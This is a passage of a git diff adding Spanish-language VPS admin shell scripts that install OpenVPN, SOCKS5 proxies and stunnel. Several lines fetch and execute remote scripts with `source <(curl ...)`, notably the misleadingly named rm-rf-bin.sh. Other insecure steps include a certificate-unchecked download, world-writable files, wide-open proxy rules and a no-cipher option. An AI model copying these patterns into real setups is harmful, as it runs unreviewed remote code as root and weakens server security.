/etc/redhat-release ]]; then + OS=centos + GROUPNAME=nobody + RCLOCAL='/etc/rc.d/rc.local' +else + print_center "Sistema no compatible para este script" + enter +fi +del(){ + for (( i = 0; i < $1; i++ )); do + tput cuu1 && tput dl1 + done +} + +agrega_dns(){ + msg -ama " Escriba el HOST DNS que desea Agregar" + read -p " [NewDNS]: " SDNS + cat /etc/hosts|grep -v "$SDNS" > /etc/hosts.bak && mv -f /etc/hosts.bak /etc/hosts + if [[ -e /etc/opendns ]]; then + cat /etc/opendns > /tmp/opnbak + mv -f /tmp/opnbak /etc/opendns + echo "$SDNS" >> /etc/opendns + else + echo "$SDNS" > /etc/opendns + fi + [[ -z $NEWDNS ]] && NEWDNS="$SDNS" || NEWDNS="$NEWDNS $SDNS" + unset SDNS +} + +dns_fun(){ + case $1 in + 1) + if grep -q "127.0.0.53" "/etc/resolv.conf"; then + RESOLVCONF='/run/systemd/resolve/resolv.conf' + else + RESOLVCONF='/etc/resolv.conf' + fi + grep -v '#' $RESOLVCONF | grep 'nameserver' | grep -E -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | while read line; do + echo "push \"dhcp-option DNS $line\"" >> /etc/openvpn/server.conf + done;; + 2) #cloudflare + echo 'push "dhcp-option DNS 1.1.1.1"' >> /etc/openvpn/server.conf + echo 'push "dhcp-option DNS 1.0.0.1"' >> /etc/openvpn/server.conf;; + 3) #google + echo 'push "dhcp-option DNS 8.8.8.8"' >> /etc/openvpn/server.conf + echo 'push "dhcp-option DNS 8.8.4.4"' >> /etc/openvpn/server.conf;; + 4) #OpenDNS + echo 'push "dhcp-option DNS 208.67.222.222"' >> /etc/openvpn/server.conf + echo 'push "dhcp-option DNS 208.67.220.220"' >> /etc/openvpn/server.conf;; + 5) #Verisign + echo 'push "dhcp-option DNS 64.6.64.6"' >> /etc/openvpn/server.conf + echo 'push "dhcp-option DNS 64.6.65.6"' >> /etc/openvpn/server.conf;; + 6) #Quad9 + echo 'push "dhcp-option DNS 9.9.9.9"' >> /etc/openvpn/server.conf + echo 'push "dhcp-option DNS 149.112.112.112"' >> /etc/openvpn/server.conf;; + 7) #UncensoredDNS + echo 'push "dhcp-option DNS 91.239.100.100"' >> /etc/openvpn/server.conf + echo 'push "dhcp-option DNS 89.233.43.71"' >> /etc/openvpn/server.conf;; + esac +} + +meu_ip + + + + +instala_ovpn(){ + clear + msg -bar + print_center "INSTALADOR DE OPENVPN" + msg -bar + # OpenVPN setup and first user creation + msg -ama " Algunos ajustes son necesario para conf OpenVPN" + msg -bar + # Autodetect IP address and pre-fill for the user + IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -oE '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) + if echo "$IP" | grep -qE '^(10\.|172\.1[6789]\.|172\.2[0-9]\.|172\.3[01]\.|192\.168)'; then + PUBLICIP=$(wget -qO- ipv4.icanhazip.com) + fi + msg -ama " Seleccione el protocolo de conexiones OpenVPN" + msg -bar + menu_func "UDP" "TCP" + msg -bar + while [[ -z $PROTOCOL ]]; do + msg -ne " opcion: " + read PROTOCOL + case $PROTOCOL in + 1) PROTOCOL=udp; del "6"; msg -nazu " PROTOCOLO: "; msg -verd "UDP";; + 2) PROTOCOL=tcp; del "6"; msg -nazu " PROTOCOLO: "; msg -verd "TCP";; + *) tput cuu1 && tput dl1; print_center -verm2 "selecciona una opcion entre 1 y 2"; sleep 2s; tput cuu1 && tput dl1; unset PROTOCOL;; + esac + done + msg -bar + print_center "Ingresa un puerto OpenVPN (Default 1194)" + msg -bar + while [[ -z $PORT ]]; do + msg -ne " Puerto: " + read PORT + if [[ -z $PORT ]]; then + PORT="1194" + elif [[ ! $PORT =~ $numero ]]; then + tput cuu1 && tput dl1 + print_center -verm2 "ingresa solo numeros" + sleep 2s + tput cuu1 && tput dl1 + unset PORT + fi + + [[ $(mportas|grep -w "${PORT}") ]] && { + tput cuu1 && tput dl1 + print_center -verm2 "Puerto en uso" + sleep 2s + tput cuu1 && tput dl1 + unset PORT + } + done + del "3" + msg -nazu " PUERTO: "; msg -verd "$PORT" + msg -bar + print_center "Seleccione DNS (default VPS)" + msg -bar + menu_func "DNS del Sistema" "Cloudflare" "Google" "OpenDNS" "Verisign" "Quad9" "UncensoredDNS" + msg -bar + while [[ -z $DNS ]]; do + msg -ne " opcion: " + read DNS + if [[ -z $DNS ]]; then + DNS="1" + elif [[ ! $DNS =~ $numero ]]; then + tput cuu1 && tput dl1 + print_center -verm2 "ingresa solo numeros" + sleep 2s + tput cuu1 && tput dl1 + unset DNS + elif [[ $DNS != @([1-7]) ]]; then + tput cuu1 && tput dl1 + print_center "solo numeros entre 1 y 7" + sleep 2s + tput cuu1 && tput dl1 + unset DNS + fi + done + case $DNS in + 1) P_DNS="DNS del Sistema";; + 2) P_DNS="Cloudflare";; + 3) P_DNS="Google";; + 4) P_DNS="OpenDNS";; + 5) P_DNS="Verisign";; + 6) P_DNS="Quad9";; + 7) P_DNS="UncensoredDNS";; + esac + del "11" + msg -nazu " DNS: "; msg -verd "$P_DNS" + msg -bar + print_center " Seleccione la codificacion para el canal de datos" + msg -bar + menu_func "AES-128-CBC" "AES-192-CBC" "AES-256-CBC" "CAMELLIA-128-CBC" "CAMELLIA-192-CBC" "CAMELLIA-256-CBC" "SEED-CBC" "NONE" + msg -bar + while [[ -z $CIPHER ]]; do + msg -ne " opcion: " + read CIPHER + if [[ -z $CIPHER ]]; then + CIPHER="1" + elif [[ ! $CIPHER =~ $numero ]]; then + tput cuu1 && tput dl1 + print_center -verm2 "ingresa solo numeros" + sleep 2s + tput cuu1 && tput dl1 + unset CIPHER + elif [[ $CIPHER != @([1-8]) ]]; then + tput cuu1 && tput dl1 + print_center "solo numeros entre 1 y 8" + sleep 2s + tput cuu1 && tput dl1 + unset CIPHER + fi + done + case $CIPHER in + 1) CIPHER="cipher AES-128-CBC";; + 2) CIPHER="cipher AES-192-CBC";; + 3) CIPHER="cipher AES-256-CBC";; + 4) CIPHER="cipher CAMELLIA-128-CBC";; + 5) CIPHER="cipher CAMELLIA-192-CBC";; + 6) CIPHER="cipher CAMELLIA-256-CBC";; + 7) CIPHER="cipher SEED-CBC";; + 8) CIPHER="cipher none";; + esac + del "12" + codi=$(echo $CIPHER|awk -F ' ' '{print $2}') + msg -nazu " CODIFICACION: "; msg -verd "$codi" + msg -bar + msg -ama " Estamos listos para configurar su servidor OpenVPN" + enter + if [[ "$OS" = 'debian' ]]; then + apt-get update + apt-get install openvpn iptables openssl ca-certificates -y + else + # + yum install epel-release -y + yum install openvpn iptables openssl ca-certificates -y + fi + # Get easy-rsa + EASYRSAURL='https://github.com/OpenVPN/easy-rsa/releases/download/v3.0.7/EasyRSA-3.0.7.tgz' + wget -O ~/easyrsa.tgz "$EASYRSAURL" 2>/dev/null || curl -Lo ~/easyrsa.tgz "$EASYRSAURL" + tar xzf ~/easyrsa.tgz -C ~/ + mv ~/EasyRSA-3.0.7/ /etc/openvpn/ + mv /etc/openvpn/EasyRSA-3.0.7/ /etc/openvpn/easy-rsa/ + chown -R root:root /etc/openvpn/easy-rsa/ + rm -f ~/easyrsa.tgz + cd /etc/openvpn/easy-rsa/ + # + ./easyrsa init-pki + ./easyrsa --batch build-ca nopass + ./easyrsa gen-dh + ./easyrsa build-server-full server nopass + EASYRSA_CRL_DAYS=3650 ./easyrsa gen-crl + # + cp pki/ca.crt pki/private/ca.key pki/dh.pem pki/issued/server.crt pki/private/server.key pki/crl.pem /etc/openvpn + # + chown nobody:$GROUPNAME /etc/openvpn/crl.pem + # + openvpn --genkey --secret /etc/openvpn/ta.key + # + echo "port $PORT +proto $PROTOCOL +dev tun +sndbuf 0 +rcvbuf 0 +ca ca.crt +cert server.crt +key server.key +dh dh.pem +auth SHA512 +tls-auth ta.key 0 +topology subnet +server 10.8.0.0 255.255.255.0 +ifconfig-pool-persist ipp.txt" > /etc/openvpn/server.conf + echo 'push "redirect-gateway def1 bypass-dhcp"' >> /etc/openvpn/server.conf + # DNS + + dns_fun "$DNS" + + echo "keepalive 10 120 +${CIPHER} +user nobody +group $GROUPNAME +persist-key +persist-tun +status openvpn-status.log +verb 3 +crl-verify crl.pem" >> /etc/openvpn/server.conf +updatedb +PLUGIN=$(locate openvpn-plugin-auth-pam.so | head -1) +[[ ! -z $(echo ${PLUGIN}) ]] && { +echo "client-to-client +client-cert-not-required +username-as-common-name +plugin $PLUGIN login" >> /etc/openvpn/server.conf +} + # + echo 'net.ipv4.ip_forward=1' > /etc/sysctl.d/30-openvpn-forward.conf + # + echo 1 > /proc/sys/net/ipv4/ip_forward + if pgrep firewalld; then + # + # + # + # + firewall-cmd --zone=public --add-port=$PORT/$PROTOCOL + firewall-cmd --zone=trusted --add-source=10.8.0.0/24 + firewall-cmd --permanent --zone=public --add-port=$PORT/$PROTOCOL + firewall-cmd --permanent --zone=trusted --add-source=10.8.0.0/24 + # + firewall-cmd --direct --add-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP + firewall-cmd --permanent --direct --add-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP + else + # + if [[ "$OS" = 'debian' && ! -e $RCLOCAL ]]; then + echo '#!/bin/sh -e +exit 0' > $RCLOCAL + fi + chmod +x $RCLOCAL + # + iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP + sed -i "1 a\iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP" $RCLOCAL + if iptables -L -n | grep -qE '^(REJECT|DROP)'; then + # + # + # + iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT + iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT + iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT + sed -i "1 a\iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT" $RCLOCAL + sed -i "1 a\iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT" $RCLOCAL + sed -i "1 a\iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT" $RCLOCAL + fi + fi + # + if sestatus 2>/dev/null | grep "Current mode" | grep -q "enforcing" && [[ "$PORT" != '1194' ]]; then + # + if ! hash semanage 2>/dev/null; then + yum install policycoreutils-python -y + fi + semanage port -a -t openvpn_port_t -p $PROTOCOL $PORT + fi + # + if [[ "$OS" = 'debian' ]]; then + # + if pgrep systemd-journal; then + systemctl restart openvpn@server.service + else + /etc/init.d/openvpn restart + fi + else + if pgrep systemd-journal; then + systemctl restart openvpn@server.service + systemctl enable openvpn@server.service + else + service openvpn restart + chkconfig openvpn on + fi + fi + # + if [[ "$PUBLICIP" != "" ]]; then + IP=$PUBLICIP + fi + # + echo "# OVPN_ACCESS_SERVER_PROFILE=ChumoGH_ADM +client +dev tun +proto $PROTOCOL +sndbuf 0 +rcvbuf 0 +remote $IP $PORT +resolv-retry infinite +nobind +persist-key +persist-tun +remote-cert-tls server +auth SHA512 +${CIPHER} +setenv opt block-outside-dns +key-direction 1 +verb 3 +auth-user-pass" > /etc/openvpn/client-common.txt +clear +msg -bar +print_center -verd "Configuracion Finalizada!" +msg -bar +print_center " Crear un usuario SSH para generar el (.ovpn)!" +enter +} + +edit_ovpn_host(){ + msg -ama " CONFIGURACION HOST DNS OPENVPN" + msg -bar + while [[ $DDNS != @(n|N) ]]; do + echo -ne "\033[1;33m" + read -p " Agregar host [S/N]: " -e -i n DDNS + [[ $DDNS = @(s|S|y|Y) ]] && agrega_dns + done + [[ ! -z $NEWDNS ]] && sed -i "/127.0.0.1[[:blank:]]\+localhost/a 127.0.0.1 $NEWDNS" /etc/hosts + msg -bar + msg -ama " Es Necesario el Reboot del Servidor Para" + msg -ama " Para que las configuraciones sean efectudas" + enter +} + +fun_openvpn(){ + [[ -e /etc/openvpn/server.conf ]] && { + unset OPENBAR + [[ $(mportas|grep -w "openvpn") ]] && OPENBAR="\033[1;32m [ONLINE]" || OPENBAR="\033[1;31m [OFFLINE]" + clear + msg -bar + echo -e "CONFIGURACION OPENVPN" + msg -bar + echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m➮\033[0;33m $(msg -verd 'INICIAR O PARAR OPENVPN') $OPENBAR" + echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m➮\033[0;33m EDITAR CONFIGURACION CLIENTE $(msg -ama "(MEDIANTE NANO)")" + echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m➮\033[0;33m EDITAR CONFIGURACION SERVIDOR $(msg -ama "(MEDIANTE NANO)")" + echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m➮\033[0;33m CAMBIAR HOST DE OPENVPN" + echo -e " \033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m➮\033[0;33m $(msg -verm2 "DESINSTALAR OPENVPN")" + msg -bar + while [[ $xption != @([0-5]) ]]; do + echo -ne "\033[1;33m Opcion : " && read xption + tput cuu1 && tput dl1 + done + case $xption in + 5) + clear + msg -bar + echo -ne "\033[1;97m" + read -p "QUIERES DESINTALAR OPENVPN? [Y/N]: " -e REMOVE + msg -bar + if [[ "$REMOVE" = 'y' || "$REMOVE" = 'Y' ]]; then + PORT=$(grep '^port ' /etc/openvpn/server.conf | cut -d " " -f 2) + PROTOCOL=$(grep '^proto ' /etc/openvpn/server.conf | cut -d " " -f 2) + if pgrep firewalld; then + IP=$(firewall-cmd --direct --get-rules ipv4 nat POSTROUTING | grep '\-s 10.8.0.0/24 '"'"'!'"'"' -d 10.8.0.0/24 -j SNAT --to ' | cut -d " " -f 10) + # + firewall-cmd --zone=public --remove-port=$PORT/$PROTOCOL + firewall-cmd --zone=trusted --remove-source=10.8.0.0/24 + firewall-cmd --permanent --zone=public --remove-port=$PORT/$PROTOCOL + firewall-cmd --permanent --zone=trusted --remove-source=10.8.0.0/24 + firewall-cmd --direct --remove-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP + firewall-cmd --permanent --direct --remove-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP + else + IP=$(grep 'iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to ' $RCLOCAL | cut -d " " -f 14) + iptables -t nat -D POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP + sed -i '/iptables -t nat -A POSTROUTING -s 10.8.0.0\/24 ! -d 10.8.0.0\/24 -j SNAT --to /d' $RCLOCAL + if iptables -L -n | grep -qE '^ACCEPT'; then + iptables -D INPUT -p $PROTOCOL --dport $PORT -j ACCEPT + iptables -D FORWARD -s 10.8.0.0/24 -j ACCEPT + iptables -D FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT + sed -i "/iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT/d" $RCLOCAL + sed -i "/iptables -I FORWARD -s 10.8.0.0\/24 -j ACCEPT/d" $RCLOCAL + sed -i "/iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT/d" $RCLOCAL + fi + fi + if sestatus 2>/dev/null | grep "Current mode" | grep -q "enforcing" && [[ "$PORT" != '1194' ]]; then + semanage port -d -t openvpn_port_t -p $PROTOCOL $PORT + fi + if [[ "$OS" = 'debian' ]]; then + apt-get remove --purge -y openvpn + else + yum remove openvpn -y + fi + rm -rf /etc/openvpn + rm -f /etc/sysctl.d/30-openvpn-forward.conf + clear + msg -bar + print_center -verd "OpenVPN removido!" + enter + else + clear + msg -bar + print_center -verm2 "Desinstalacion abortada!" + enter + fi + return 1;; + 2) + nano /etc/openvpn/client-common.txt;; + 3) + nano /etc/openvpn/server.conf;; + 4) + edit_ovpn_host;; + 1) + [[ $(mportas|grep -w openvpn) ]] && { + /etc/init.d/openvpn stop > /dev/null 2>&1 + killall openvpn &>/dev/null + systemctl stop openvpn@server.service &>/dev/null + service openvpn stop &>/dev/null + #ps x |grep openvpn |grep -v grep|awk '{print $1}' | while read pid; do kill -9 $pid; done + } || { + cd /etc/openvpn + screen -dmS ovpnscr openvpn --config "server.conf" > /dev/null 2>&1 + touch /etc/openvpn/openvpn-status.log & + cd $HOME + } + print_center "Procedimiento con Exito" + enter;; + 0) + return 1;; + esac + return 0 + } + [[ -e /etc/squid/squid.conf ]] && instala_ovpn && return 0 + [[ -e /etc/squid3/squid.conf ]] && instala_ovpn && return 0 + instala_ovpn || return 1 +} + +while [[ ! $rec = 1 ]]; do + fun_openvpn + rec="$?" + unset xption +done +exit \ No newline at end of file diff --git a/Recursos/menu_inst/rm-rf-bin.sh b/Recursos/menu_inst/rm-rf-bin.sh new file mode 100644 index 0000000..aca8946 --- /dev/null +++ b/Recursos/menu_inst/rm-rf-bin.sh @@ -0,0 +1,3 @@ +#by @drowkid01 + +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/trojango-sh/trojan.sh) "alx" \ No newline at end of file diff --git a/Recursos/menu_inst/socks5-sh/dante-1.4.1.tar.gz b/Recursos/menu_inst/socks5-sh/dante-1.4.1.tar.gz new file mode 100644 index 0000000..b7bcff1 Binary files /dev/null and b/Recursos/menu_inst/socks5-sh/dante-1.4.1.tar.gz differ diff --git a/Recursos/menu_inst/socks5-sh/danted.conf b/Recursos/menu_inst/socks5-sh/danted.conf new file mode 100644 index 0000000..5cbd179 --- /dev/null +++ b/Recursos/menu_inst/socks5-sh/danted.conf @@ -0,0 +1,28 @@ +logoutput: /var/log/socks.log + + +method: username +user.privileged: root +user.notprivileged: nobody + +client pass { + from: 0.0.0.0/0 to: 0.0.0.0/0 + log: error connect disconnect +} + + +client block { + from: 0.0.0.0/0 to: 0.0.0.0/0 + log: connect error +} + +pass { + from: 0.0.0.0/0 to: 0.0.0.0/0 + log: error connect disconnect +} + +block { + from: 0.0.0.0/0 to: 0.0.0.0/0 + log: connect error +} +#dante-server configuration from tech.tiq.cc \ No newline at end of file diff --git a/Recursos/menu_inst/socks5.sh b/Recursos/menu_inst/socks5.sh new file mode 100644 index 0000000..527f71e --- /dev/null +++ b/Recursos/menu_inst/socks5.sh @@ -0,0 +1,113 @@ +#!/bin/bash +source msg +ip=$(wget -qO- ifconfig.me) +MYIP=$(wget -qO- ifconfig.me) + +function extras(){ +clear +figlet -p -f slant < /root/name | lolcat + +#echo -e "\033[1;37mSeleccione una opcion: Para Salir Ctrl + C\033[1;33m +#[\033[1;30m1\033[1;33m] SOCKS5 › \033[1;32m$xsocks5 \033[1;33m +#[\033[1;30m2\033[1;33m] SOCKS5 (Sockd) › \033[1;32m$xsockd \033[1;33m +#[\033[1;30m3\033[1;33m] SOCKS5 (Microsocks) › \033[1;32m$xmicro \033[1;33m +#[\033[1;30m0\033[1;33m] < REGRESAR \033[1;33m" +#read -p ": " opcao +menu_func 'SOCKS5' '-fi SOCKS5;sockd' '-fi SOCKS5;microsocks' +back +opcao=$(selection_fun 3) +case $opcao in +1) +socks5;; +2) +socks5alter;; +3) +microsocks;; +0) +exit;; +esac +} + + + + +function microsocks (){ +killall microsocks +echo -e "Instalando Microsocks espere.." +cd /etc/adm-lite/ +rm -rf /etc/adm-lite/microsocks/ 1> /dev/null 2> /dev/null +git clone http://github.com/rofl0r/microsocks.git 1> /dev/null 2> /dev/null +cd /etc/adm-lite/microsocks/ +make 1> /dev/null 2> /dev/null +make install 1> /dev/null 2> /dev/null +cd /root +echo -e "⎇⇥ Escriba un nombre de usuario nuevo" +read -p ": " microuser +useradd --shell /usr/sbin/nologin $microuser +echo -e "⎇⇥ Asigna un password para la cuenta microsocks, repitelo dos veces" +passwd $microuser +echo -e "⎇⇥ Escribe el mismo password asignado nuevamente" +read -p ": " clavemicro +echo -e "⎇⇥ Escribe un puerto libre para Microsocks" +read -p ": " puertomicro +if lsof -Pi :$puertomicro -sTCP:LISTEN -t >/dev/null ; then +echo "Ya esta en uso ese puerto" +else +screen -dmS micro microsocks -1 -i 0.0.0.0 -p $puertomicro -u $microuser -P $clavemicro -b bindaddr +echo -e "╼╼╼╼⌁⌁⌁◅⌁▻⌁⌁⌁╾╾╾╾" +echo -e "⌬ Servidor Socks5 [ microsocks ] iniciado" +echo -e "⌁ IP : $MYIP" +echo -e "⌁ Puerto : $puertomicro" +echo -e "⌁ Usuario : $microuser" +echo -e "⌁ Password : $clavemicro" +fi +} +function socks5alter(){ +echo -e "Instalando Sockd espere..." +cd /etc/adm-lite/ 1> /dev/null 2> /dev/null +rm /etc/adm-lite/dante-1.4.1.tar.gz 1> /dev/null 2> /dev/null +wget --no-check-certificate https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/socks5-sh/dante-1.4.1.tar.gz 1> /dev/null 2> /dev/null +tar -zxvf dante-1.4.1.tar.gz 1> /dev/null 2> /dev/null +cd /etc/adm-lite/dante-1.4.1/ 1> /dev/null 2> /dev/null +mkdir /home/dante 1> /dev/null 2> /dev/null +./configure --prefix=/home/dante 1> /dev/null 2> /dev/null +make 1> /dev/null 2> /dev/null +make install 1> /dev/null 2> /dev/null +wget -O /home/dante/danted.conf https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/socks5-sh/danted.conf 1> /dev/null 2> /dev/null +echo -e "Escribe un puerto para Sockd" +read -p ": " sockcincox +if lsof -Pi :$sockcincox -sTCP:LISTEN -t >/dev/null ; then +echo "Ya esta en uso ese puerto" +else +sed -i '2i internal: 0.0.0.0 port = '"$sockcincox"'' /home/dante/danted.conf +sed -i '3i external: '"$MYIP"'' /home/dante/danted.conf +# +echo "Finalizando Instalacion" +screen -dmS sockdx /home/dante/sbin/sockd -f /home/dante/danted.conf +#¿ +menu +fi +} +function socks5(){ +echo -e "Instalando Socks5 espere..." +apt remove dante-server -y 1> /dev/null 2> /dev/null +apt purge dante-server -y 1> /dev/null 2> /dev/null +apt install dante-server -y 1> /dev/null 2> /dev/null +#rm /etc/danted.conf 1> /dev/null 2> /dev/null +#cp /etc/adm-lite/danted.conf /etc/danted.conf 1> /dev/null 2> /dev/null +echo -e "Escribe un puerto para Socks5" +read -p ": " sockcinco +if lsof -Pi :$sockcinco -sTCP:LISTEN -t >/dev/null ; then +echo "Ya esta en uso ese puerto" +else +sed -i '5i internal: 0.0.0.0 port = '"$sockcinco"'' /etc/danted.conf +sed -i '6i external: '"$ip"'' /etc/danted.conf +# +echo "Finalizando Instalacion" +systemctl restart danted +# +menu +fi +} + +extras diff --git a/Recursos/menu_inst/ssl b/Recursos/menu_inst/ssl new file mode 100644 index 0000000..6829e2b --- /dev/null +++ b/Recursos/menu_inst/ssl @@ -0,0 +1,88 @@ +#!/bin/bash + +sshports=`netstat -tunlp | grep sshd | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssh.txt && echo | cat /tmp/ssh.txt | tr '\n' ' ' > /etc/adm-lite/sshports.txt && cat /etc/adm-lite/sshports.txt`; +fun_bar () { +comando[0]="$1" +comando[1]="$2" + ( +[[ -e $HOME/fim ]] && rm $HOME/fim +${comando[0]} -y > /dev/null 2>&1 +${comando[1]} -y > /dev/null 2>&1 +touch $HOME/fim + ) > /dev/null 2>&1 & +echo -ne "\033[1;33m [" +while true; do + for((i=0; i<18; i++)); do + echo -ne "\033[1;31m##" + sleep 0.1s + done + [[ -e $HOME/fim ]] && rm $HOME/fim && break + echo -e "\033[1;33m]" + sleep 1s + tput cuu1 + tput dl1 + echo -ne "\033[1;33m [" +done +echo -e "\033[1;33m]\033[1;31m -\033[1;32m 100%\033[1;37m" +} + +sleep 1 + +fun_bar 'apt-get update -y' 'yum update -y' +fun_bar 'apt-get install openssh-server -y' 'apt-get install curl -y' +fun_bar 'yum install openssh-server -y' 'apt-get install openssh-client -y' +fun_bar 'yum install openssh-client -y' 'apt-get install stunnel4 -y' +fun_bar 'yum install stunnel4 -y' +fun_bar 'apt-get install stunnel -y' 'yum install stunnel -y' +ip=$(curl https://api.ipify.org/) +echo -e "Paquetes Instalados" +sleep 1 +openssl genrsa 2048 > stunnel.key +openssl req -new -key stunnel.key -x509 -days 1000 -out stunnel.crt +sleep 1 +rm /etc/stunnel/stunnel.conf +clear +rm /etc/default/stunnel4 +clear +cat stunnel.crt stunnel.key > stunnel.pem +mv stunnel.pem /etc/stunnel/ +clear +sslports=`netstat -tunlp | grep stunnel4 | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /etc/adm-lite/sslports.txt && cat /etc/adm-lite/sslports.txt`; +cowsay -f stegosaurus "BIENVENIDO Y GRACIAS POR UTILIZAR CHUKK-SCRIPT "| lolcat +echo -e "${cor[1]}=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠" | lolcat +echo -e "${cor[2]}STUNNEL ACTIVO en Puertos: $sslports " | lolcat +echo -e "${cor[1]}=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠" | lolcat +echo -e "\033[1;31mESCRIBA EL PUERTO SSL A UTILIZAR" +read -p ": " port +clear +echo "client = no " >> /etc/stunnel/stunnel.conf +echo "[ssh] " >> /etc/stunnel/stunnel.conf +echo "cert = /etc/stunnel/stunnel.pem " >> /etc/stunnel/stunnel.conf +echo "accept = $port " >> /etc/stunnel/stunnel.conf +echo "connect = 127.0.0.1:$sshports" >> /etc/stunnel/stunnel.conf +sleep 1 +echo "ENABLED=1 " >> /etc/default/stunnel4 +echo "FILES="/etc/stunnel/*.conf" " >> /etc/default/stunnel4 +echo "OPTIONS="" " >> /etc/default/stunnel4 +echo "PPP_RESTART=0" >> /etc/default/stunnel4 +service stunnel4 restart +sslports=`netstat -tunlp | grep stunnel4 | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /etc/adm-lite/sslports.txt && cat /etc/adm-lite/sslports.txt`; +cowsay -f stegosaurus "GRACIAS POR UTILIZAR ⌐╦╦═─ ☆ ChuKK-SCRIPT "| lolcat +echo -e "${cor[1]}=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠" | lolcat +echo -e "${cor[2]}STUNNEL ACTIVO en Puertos:" $sslports " Escojido " $port | lolcat +echo -e "${cor[1]}=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠=≠" | lolcat +echo -e "\033[1;34m #####################################################" +echo -e "\033[1;37m I N I C I A N D O - STUNNEL4 - SSL/TLS Custom Cert" +echo -e "\033[1;34m #####################################################" +sleep 1 +service ssh restart 1>/dev/null 2 /dev/null +service stunnel4 start 1>/dev/null 2 /dev/null +service stunnel4 restart 1>/dev/null 2 /dev/null +echo -e "\033[1;31m ***********REINICIADO...*************" +echo -e "\033[1;34m ###################################" +echo -e "\033[1;31mCONFIGURACION SSL ACEPTADA CON EXITO" +echo -e "\033[1;34m ###################################" +echo -e "SU IP HOST DEL SERVIDOR:\033[1;30m $ip" +echo -e "Reinicie su VPS (Opcional) - sudo reboot" +read -p " Presiona ENTER para continuar" +source menu diff --git a/Recursos/menu_inst/sslh-back3.sh b/Recursos/menu_inst/sslh-back3.sh new file mode 100644 index 0000000..e117e03 --- /dev/null +++ b/Recursos/menu_inst/sslh-back3.sh @@ -0,0 +1,226 @@ +#!/bin/bash +blanco='\033[38;5;231m' +amarillo='\033[38;5;228m' +azul='\033[38;5;14m' +morado='\033[38;5;147m' +rojo='\033[0;31m' +verde='\033[38;5;148m' +yellow='\033[0;33m' +rosa='\033[38;5;213m' +melon='\033[38;5;208m' +guinda='\033[38;5;161m' +cierre='\033[0m' +bar1="\e[1;30m◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚◚\e[0m" +bar2="\033[38;5;183m--------------------------------------------------------------------\033[0m" +#DIRECTORIOS +dir_bases="/etc/default" +dir_puertos="/etc/default/ports-sslh" +dir_conf="/etc/default/sslh" +dir_ports="/etc/default/sslh-ports" +dir_service="/etc/init.d/sslh" +dir_info="/etc/default/sslh-info" +#VARIABLES +arch_serv="/root/servicios.txts" +plantilla_service="--anyprot 127.0.0.1:000" +#DIRECTORIOS mkdir-touch +dir_base(){ +if [ -f $dir_ports ]; then + echo + else + touch $dir_ports + chmod 777 $dir_ports +fi +if [ -d $dir_bases/ports-sslh ]; then + echo + else + mkdir $dir_bases/ports-sslh +fi +if [ -f $dir_info ]; then + echo + else + touch $dir_info + chmod 777 $dir_info +fi +} +back_menu(){ + echo -e "$bar1" + read -p "$(echo -e "${morado}Enter Para Continuar${cierre}")" enter + source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/sslh-back3.sh) +} +t_port () { +t_node=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +while read port_t; do +test1=$(echo $port_t | awk '{print $1}') && test2=$(echo $port_t | awk '{print $9}' | awk -F ":" 